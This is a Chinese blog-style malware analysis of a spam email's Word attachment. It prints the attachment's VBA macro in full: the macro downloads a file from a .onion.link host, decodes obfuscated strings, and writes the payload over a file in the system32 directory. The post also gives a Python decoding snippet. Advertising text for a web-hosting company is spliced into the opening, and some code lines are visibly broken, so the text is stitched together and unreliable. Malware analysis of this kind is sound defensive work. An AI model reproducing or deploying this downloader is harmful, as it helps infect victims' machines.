重庆分公司,新征程启航
为企业提供网站建设、域名注册、服务器等服务
上周一(12月4号),朋友给我转发了一封垃圾邮件,邮件里面附带一个word文档,我们俩都是搞信安,自然察觉一丝危险的气味,之前也没有分析过word附件,因而有了今天的分析。
10年积累的网站设计、网站建设经验,可以快速应对客户对网站的新想法和需求。提供各种问题对应的解决方案。让选择我们的客户得到更好、更有力的网络服务。我虽然不认识你,你也不认识我。但先建设网站后付款的网站建设流程,更有二七免费网站建设让你可以放心的选择与我们合作。
分析有风险,请在虚拟机上运行;且在分析之前要禁止word的宏自动运行
可以看到邮件的正文内容,是由一张图片和一个附件组成,其中我们要重点关注的就是。
4.2 olevba 提取宏展示
olevba -c xxx.doc
4.5 查看宏代码
可以看到这里存在一段vb编写的代码,从调用WinHttpReq可以猜出来,这一个word文档的作用是一个下载器
Sub Main
Dim WinHttpReq As Object
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
WinHttpReq.Open "GET", "http://ypg7rfjvfywj7jhp.onion.link/icon.jpg", False, "username", "password"
WinHttpReq.send
如下图,使用tor浏览器访问对应的暗网链接,返回一个网页来说明该暗网地址已经失效。
Dim first5 As String
Dim second5 As String
Dim last5 As String
first5 = ChrW(65) & ChrW(68) & ChrW(79) & ChrW(68) & ChrW(66) & ChrW(46) & ChrW(83) & ChrW(116) & ChrW(114) & ChrW(101)
second5 = ChrW(97) & ChrW(109)
last5 = first5 + second5
其中重要的部分就是first5和second5中的ChrW,ChrW是将十进制的ascii值转换为ascii字符,因而可以用python来做一个转换。
first5 = "ChrW(65) & ChrW(68) & ChrW(79) & ChrW(68) & ChrW(66) & ChrW(46) & ChrW(83) & ChrW(116) & ChrW(114) & ChrW(101)"
second5 = "ChrW(97) & ChrW(109)"
def convert_vb2py(s):
first_s = s.replace("ChrW","chr")
second_s = first_s.replace("&","+")
return second_s
print eval(convert_vb2py(first5))+eval(convert_vb2py(second5))
最终我们可以得到last5的值为ADODB.Stream,它是vb中一个对象,用来与文件系统操作
Step 3. 保存http://ypg7rfjvfywj7jhp.onion.link/icon.jpg 到本地文件
xyuhjnx = WinHttpReq.responseBody
If WinHttpReq.Status = 200 Then
Set oStream = CreateObject(last5)
oStream.Open
oStream.Type = Val("1FFF")
oStream.Write WinHttpReq.responseBody
Dim first6 As String
Dim last6 As String
first6 = ChrW(92) & ChrW(99) & ChrW(104) & ChrW(101) & ChrW(99) & ChrW(107) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101)
last6 = first6
oStream.SaveToFile Environ( "svchost.exe", Val("2FFF")
oStream.Close
End If
End Sub
代码获取icon.jpg的内容,并创建一个Stream对象写入icon.jpg的内容,然后保存到svchost.exe所在的目录,也就是c:\windows\system32\目录下,Val("2FFF")的值为2,在adobe.stream的SaveToFile方法中,第二个参数代表覆盖原来的文件。